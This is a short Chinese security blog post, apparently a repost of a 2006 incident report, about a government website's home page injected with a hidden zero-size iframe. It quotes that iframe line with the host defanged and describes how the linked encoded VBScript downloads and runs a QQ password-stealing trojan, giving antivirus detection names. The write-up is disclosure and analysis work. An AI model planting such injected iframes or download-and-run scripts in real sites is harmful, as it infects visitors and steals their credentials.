又一个被挂木马的政府网站(第3版)

小灰灰 2024-03-17 09:20 139阅读 0赞

endurer　原创
2006-09-30　 第 3版 补充瑞星的反应。
2006-09-29　22:34:00 第 2版 补充Kaspersky的回复。
2006-09-29　第 1版

该网站首页末被加入代码：
/————
＜iframe src＝hxxp://www.race***swd.com.**/w***m*.htm width＝0 height＝0 frameborder＝0>＜/iframe>
-———-/

hxxp://www.race***swd.com.**/w***m*.htm　　的内容为escape()编码的VBSctipt代码，其功能为利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 hxxp://www.race***swd.com.**/**1**.exe，保存为 %temp%/asde.exe，并利用Shell.Application 对象 的 ShellExecute 方法 来运行。

**1**.exe　　采用　tElock 0.80 -> tE!　加壳，文件长度为28,109 字节，Kaspersky 报为 Trojan-PSW.Win32.QQPass.mz，瑞星 报为 Trojan.PSW.QQPass.qbe。

发表评论

表情：
评论列表 （有 0 条评论，139人围观）

还没有评论，来说两句吧...

相关阅读